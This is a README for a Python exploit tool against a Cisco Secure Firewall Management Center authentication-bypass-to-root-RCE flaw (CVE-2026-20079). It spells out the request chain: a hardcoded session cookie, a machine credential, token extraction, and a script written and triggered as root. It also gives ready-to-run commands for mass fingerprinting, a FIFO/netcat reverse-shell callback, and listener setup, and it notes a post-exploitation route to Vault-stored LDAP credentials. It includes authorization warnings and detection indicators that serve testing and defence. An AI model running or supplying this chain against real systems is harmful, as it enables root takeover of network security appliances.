Python proof of concept for the publicly documented Cisco Secure Firewall Management Center authentication-bypass-to-root-RCE chain in CVE-2026-20079.
This is not a new vulnerability or independently developed exploit chain. It is a clean-room implementation of the request sequence published by VulnCheck, with separate fingerprint, staged check, one-shot proof, and interactive exploit modes.
Python 3.10 or later is required. On Linux or macOS:
git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --helpAll 192.0.2.x values below are reserved documentation addresses. They are
placeholders, not discovered target information, and must be replaced with
values from the authorized assessment. The commands are not expected to work
unchanged.
| Example | Meaning | What to use instead |
|---|---|---|
https://192.0.2.10 |
Target FMC URL | The exact authorized FMC scheme, address, and port |
192.0.2.20 |
Address where the FMC connects back | The IP address or DNS name of the operator's listener as reachable from the FMC |
192.0.2.0/24 |
Example fingerprint CIDR | An explicitly authorized network range |
4444 |
Callback/listener TCP port | An approved reachable port on the callback system |
0.0.0.0 |
Where the listener binds on the operator system | Keep it to listen on all local interfaces, or use one local interface address |
192.0.2.10 in --expected-callback-source |
Expected source of the callback | The FMC source address as observed by the listener; omit this option when NAT makes it uncertain |
http://127.0.0.1:8080 |
Optional local intercepting proxy | The proxy URL actually listening on the operator system |
Use this rule: from the FMC's point of view, which address reaches the
operator's listener? That address is --callback-host.
| Network path | Typical --callback-host value |
|---|---|
| Operator and FMC are on the same routed network | The operator system's reachable eth0, en0, or other LAN address |
| Operator reaches the FMC through a VPN | The reachable VPN interface address, such as tun0 or utun, when the FMC has a route to it |
| Operator is behind NAT or a firewall | The public IP or DNS name whose selected port is forwarded to the operator system |
| A callback tunnel or VPS is used | The reachable tunnel endpoint or VPS address |
Do not use 127.0.0.1 or 0.0.0.0 for --callback-host. 127.0.0.1 would
refer to the FMC itself, while 0.0.0.0 is a listener bind value, not a
destination. Ensure routing, firewall rules, and any port forwarding allow the
FMC to reach --callback-host on --callback-port.
--listen-host is local-only: it selects the interface on which the integrated
listener waits. Its default, 0.0.0.0, listens on every local interface. It
does not tell the FMC where to connect. Therefore, --callback-host and
--listen-host may be different, especially across NAT.
Assume this fictional, documentation-only lab:
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
The values map to the command as follows:
--target https://192.0.2.10identifies the FMC being assessed.--callback-host 192.0.2.20is the operator system'seth0address because the FMC can route directly to it.--callback-port 4444is the approved TCP port used by the callback.--listen-host 0.0.0.0makes the integrated listener accept the callback on any local interface, includingeth0.
A one-shot proof command for that example would be:
python3 CVE-2026-20079.py \
--proof \
--target https://192.0.2.10 \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--listen-host 0.0.0.0The flow is: the operator sends HTTPS requests to 192.0.2.10, then the FMC
connects back to the operator's 192.0.2.20:4444. In a real assessment,
replace both IP addresses and confirm the return route before running the
command. If the FMC cannot reach the operator's eth0 address, use the
reachable VPN, NAT, tunnel, or VPS address described above instead.
| Mode | Network or target effect | Evidence or result |
|---|---|---|
--fingerprint |
GET requests only | A possible FMC web surface; not vulnerability confirmation |
--check |
At most two GET requests; no session upgrade | The known bypass response pattern fully or partially matched |
--check --intrusive |
Upgrades server-side session state | Authentication bypass and access to an action token |
--proof |
Writes and runs a bounded callback payload | Root execution plus cleanup, without an interactive shell |
--exploit |
Writes and runs a FIFO/netcat payload | An interactive root callback, or bounded verification with --auto-verify |
Set the three example values once, replacing each with the authorized target, operator callback address, and port:
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444Then choose exactly one mode:
# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"
# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"
# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat: nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
--auto-verifyImportant
Fingerprinting is a heuristic product-identification step, not a vulnerability
check. MATCH and LIKELY do not prove that the target is affected or
exploitable, and NO_MATCH does not rule out FMC. Reverse proxies, customized
login pages, access controls, network failures, or product changes can affect
the result.
Fingerprinting sends network requests but does not run the authentication bypass or RCE chain. The default check sends the special session cookie to a protected information endpoint, but does not submit credentials or upgrade the session. Read the classification details, mode descriptions, and session-state warning below before using any validation mode.
Warning
Do not run --check, --proof, or --exploit without explicit written
authorization. Authorization for --check --intrusive, proof, and exploit
modes must cover their target changes and proof method. Read the prerequisite,
session-state limitation, and callback requirements first.
The active chain supplies CGISESSID=csm_processes to /login.cgi?logon=Continue, uses the published report:snortrules machine credential, extracts sf_action_id from /ui/user/general, writes a Makeself-format script through validateLicense, and triggers it through SF::UI::DataObjectLibrary::upgradeReadinessCall.
An affected software version is not always exploitable at the moment of testing. The boot-created csm_processes session must still exist. Normal authenticated UI activity and session cleanup can remove it. Do not reboot a production FMC merely to satisfy this prerequisite.
The --check --intrusive, --proof, and --exploit modes upgrade the server-side csm_processes session. The PoC does not attempt to return that session to its original partial state because no vendor-documented downgrade operation is available. Clearing a client cookie would not undo the server-side change, while logging out, forcing expiry, or deleting the database entry would destroy the session rather than restore it and could interfere with subsequent validation or appliance behavior. The automatic cleanup features remove only temporary RCE files; they do not claim to restore session state. --fingerprint does not use that session. The default --check reads through the session but does not perform the documented upgrade; like any active HTTP request, it can still appear in logs and is not described as passive.
Both callback payloads require:
- A compatible POSIX-style
/bin/sh. rmandcommand.- One of
nc,netcat, orncatavailable through the target's executionPATH. - Outbound TCP connectivity from FMC to the supplied callback address and port.
The interactive --exploit payload additionally requires mkfifo. The one-shot --proof payload does not create a FIFO or interactive shell.
The payload checks the three supported netcat command names before attempting its callback. If none is present, it exits through its cleanup traps. Because the error occurs inside the blind server-side execution path, the tester observes a missing callback rather than a detailed remote error message.
--auto-verify uses Python's socket library and does not require a local netcat
installation. Manual-listener mode can use nc, ncat, socat, or another
operator-selected TCP listener.
Fingerprint one URL:
python3 CVE-2026-20079.py \
--fingerprint \
--target https://192.0.2.10Fingerprint a file containing one URL, IP address, hostname, or host:port value per line:
python3 CVE-2026-20079.py \
--fingerprint \
--targets-file targets.txt \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 10Fingerprint an explicitly authorized network range:
python3 CVE-2026-20079.py \
--fingerprint \
--network 192.0.2.0/24 \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 20 \
--max-hosts 256This mode is low impact, not literally passive: it sends network requests. Redirects are disabled globally, and the tool follows only an actual HTTP redirect to the exact /ui/login path that remains on the original scheme, host, and port. The login response must be successful (HTTP 2xx) before the tool reports MATCH or LIKELY. It does not attach the exploit cookie, submit credentials, send POST requests, follow external redirects, check a version, or prove CVE-2026-20079. MATCH means the successful response contained either the full Cisco Secure FMC branding or the paired Cisco icon and literal Management Center text. Neither marker is accepted alone. LIKELY means the successful same-origin login route matched without those product markers in the raw HTML, and NO_MATCH means the bounded fingerprint did not identify FMC.
Only --fingerprint accepts --targets-file or --network. Both check modes, proof mode, and exploit mode deliberately remain single-target operations. File and CIDR expansion are deduplicated and bounded by --max-hosts (default 4096), while concurrency is bounded by --workers (default 10, maximum 100).
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--checkThis mode first requests /help/about.cgi without a session cookie and requires
the expected HTTP 302 Invalid session ID response. It then requests the same
path with CGISESSID=csm_processes and requires HTTP 200 plus the complete FMC
product and system-information marker set. Comparing the two responses shows
whether the static session can access information rejected by the
unauthenticated control request.
This additional verification step is adapted from the
ProjectDiscovery Nuclei template
authored by theamanrawat. It complements
this project's original FMC fingerprint and the stronger session-upgrade check
rather than replacing them.
The check uses at most two GETs. It reuses the original relaxed FMC marker logic
against the special-session response and reports whether Cisco Secure FMC was
identified in plain language; it does not rerun the separate / and
/ui/login fingerprint workflow. Use --fingerprint explicitly when the task
is product discovery rather than CVE checking.
The result levels are deliberately conservative:
APPEARS: the request without a session cookie was rejected, while the request withcsm_processesreturned HTTP 200 and the complete protected-page marker set.PARTIAL-MATCH: the request without a session cookie was rejected and the request withcsm_processesreturned HTTP 200, but one or more expected about-page markers were missing. The missing names are shown without printing the response body. This is useful evidence, not CVE confirmation.UNCONFIRMED: the known two-response pattern was not established.ERROR: transport behavior prevented reliable classification.
The GET-only check does not obtain sf_action_id, exercise the file-write
primitive, or prove root execution. PARTIAL-MATCH and UNCONFIRMED do not
establish that the software is patched because the boot-created session is
transient. The mode avoids the documented persistent
upgrade, but it still accesses a protected endpoint and should be run only with
authorization.
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--check \
--intrusiveSuccess requires both the expected HTTP 302 session upgrade and a 200 response containing a session-specific sf_action_id. An exact 32-zero value is rejected as a placeholder rather than accepted as authentication-bypass evidence.
The PoC keeps the complete action token in memory for the request chain but prints only a shortened fingerprint marked nonzero. Treat raw response bodies containing the complete token as sensitive session evidence and do not publish them.
After a successful check, the server-side session remains upgraded. The tool reports this explicitly and does not attempt an undocumented rollback.
Use this when root execution evidence is required but an interactive shell is unnecessary:
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--proof \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--expected-callback-source 192.0.2.10Proof mode always starts the integrated listener before the file-write request. The target sends randomized start/end markers, id, hostname, build-directory name, and /var/tmp/license.tmp cleanup status, then disconnects. Success requires uid=0(root) and verified absence of the temporary script. It does not create a FIFO, expose an interactive command channel, or run environment-specific post-exploitation.
Start a listener on the authorized callback system:
# Linux (common netcat variants)
nc -lvnp 4444
# macOS built-in netcat
nc -lvn 4444Run one listener command appropriate for the callback system, not both.
Then run:
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444Validate the callback:
id
hostname -fThe PoC prints the exact temporary FIFO path. Remove only those two known exploit artifacts from the FMC shell:
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmpThe PoC can run its own callback listener and perform bounded post-exploitation automatically:
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--auto-verify--auto-verify performs only the following actions through the callback:
- Runs
idand requiresuid=0(root). - Collects
hostname -fand the FMC build directory name. - Removes the exact randomized FIFO created by this run and
/var/tmp/license.tmp. - Verifies that both paths are absent.
- Exits the callback.
The generated payload also unlinks /var/tmp/license.tmp as soon as execution begins and installs shell-exit/signal cleanup handlers for both temporary paths. Automatic verification still performs and checks an independent explicit cleanup. If a write is attempted but the callback or cleanup proof is incomplete, the PoC exits nonzero and prints the two exact paths that may require authorized manual review.
If the callback address differs from the local bind address, specify the latter separately:
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--auto-verify \
--listen-host 0.0.0.0 \
--callback-wait 60When the callback source should be the FMC address itself and no callback-side NAT is involved, the listener can reject unrelated connections:
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--auto-verify \
--expected-callback-source 192.0.2.10Failure to receive a callback does not distinguish among a patched target, a missing boot session, blocked egress, an unavailable/incompatible target-side netcat implementation, or another runtime failure.
Automatic Vault enumeration, credential extraction, persistence, and lateral movement are intentionally excluded. Those activities are not required to prove CVE-2026-20079 and depend on environment-specific authorization and configuration.
The first manual reproduction used a Bash /dev/tcp callback. Both HTTP
exploit stages returned their expected responses, but no connection arrived.
That demonstrated why HTTP status alone is not execution proof and why
shell-specific callback features should not be assumed on an appliance.
The successful retry used the FIFO/netcat compatibility pattern documented in
the public research. This PoC therefore goes directly to that proven pattern
and deliberately does not retry the failed /dev/tcp method. It checks for
nc, netcat, or ncat, requires an actual callback and uid=0(root) in
automatic mode, and returns nonzero when callback or cleanup proof is missing.
It cannot determine the exact reason for a blind callback failure, so it
reports the plausible runtime and network prerequisites rather than claiming
the target is patched.
This repository automates the CVE from an unauthenticated state through a verified root callback and cleanup. It does not automate credential collection, secret export, or lateral movement.
During one authorized assessment, the resulting root shell exposed a locally running HashiCorp Vault service on the FMC. An appliance-local Vault client token permitted access to a configured LDAP credential record, and that credential subsequently completed an authorized LDAPS bind. This is an observed post-exploitation path from one environment, not a universal property or prerequisite of CVE-2026-20079.
See BLOG.md for the first-person research story: the public background, manual exploitation process, failed callback, successful compatibility payload, observed post-exploitation path, lessons learned, and the eventual development of this tool.
To observe requests in an intercepting proxy:
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--check \
--proxy http://127.0.0.1:8080HTTP 302 or HTTP 200 alone does not prove root RCE. Treat the issue as:
- FMC surface identified only when
--fingerprintobserves the bounded login behavior or FMC product markers; this is not a vulnerability finding by itself. - GET-only bypass condition reported as
APPEARSonly when the rejected control becomes an HTTP 200 response containing the complete protected-page marker set.PARTIAL-MATCHrecords an incomplete match to that known response pattern and is not vulnerability confirmation. - Authentication bypass confirmed only when the upgraded session yields a valid
sf_action_id. - Root RCE confirmed only when a controlled listener receives the callback and
idreportsuid=0(root).
The integrated listener uses randomized per-run verification markers, bounds captured callback output, optionally filters the callback source, and returns a nonzero status if root or cleanup cannot be verified. Manual-listener mode cannot prove those conditions to the Python process; its successful exit means the HTTP chain was submitted, not that root execution was independently observed.
0: fingerprinting completed with at least one non-error result; the default--checkmatched the complete known GET-only response pattern;--check --intrusiveconfirmed the session upgrade and action token;--proofor--auto-verifyconfirmed root and cleanup; or manual-listener mode successfully submitted the expected HTTP chain.1: the GET-only check returnedPARTIAL-MATCH,UNCONFIRMED, orERROR; the target did not match another expected response; or callback/root/cleanup proof failed.2: invalid command-line arguments.130: interrupted by the operator. If a payload write had been attempted, the tool also prints the exact paths whose cleanup remains unverified.
- POST to
/login.cgi?logon=Continueusing thecsm_processescookie andreportmachine user. - Requests to
/ui/user/generalimmediately after the session upgrade. validateLicenserequests to/sajaxintf.cgi?rs=callServerFunc.SF::UI::DataObjectLibrary::upgradeReadinessCallsubmitted to/pjb.cgi.- Creation or execution of
/var/tmp/license.tmpcontaining a Makeself marker. - FIFO creation under
/tmp, an interactive/bin/sh,nc, and unexpected outbound traffic from FMC.
The quick setup installs the runtime dependency from requirements.txt into an
isolated virtual environment. Run the standard-library unit and local
mock-integration tests without contacting a public target:
python3 -m unittest discover -s tests -vUse only on systems you own or have explicit written authorization to test. This proof of concept can change server-side session state and execute commands as root. You are responsible for obtaining authorization, defining a safe scope and proof boundary, protecting collected evidence, and complying with applicable laws, contracts, and vendor or program rules. The author and contributors do not authorize illegal access, disruption, or data collection.
The software is provided "as is", without warranty, and the authors and copyright holders disclaim liability to the fullest extent permitted by law. See the MIT License for the complete terms. This usage notice does not modify or restrict the license.
- Arian Eidizadeh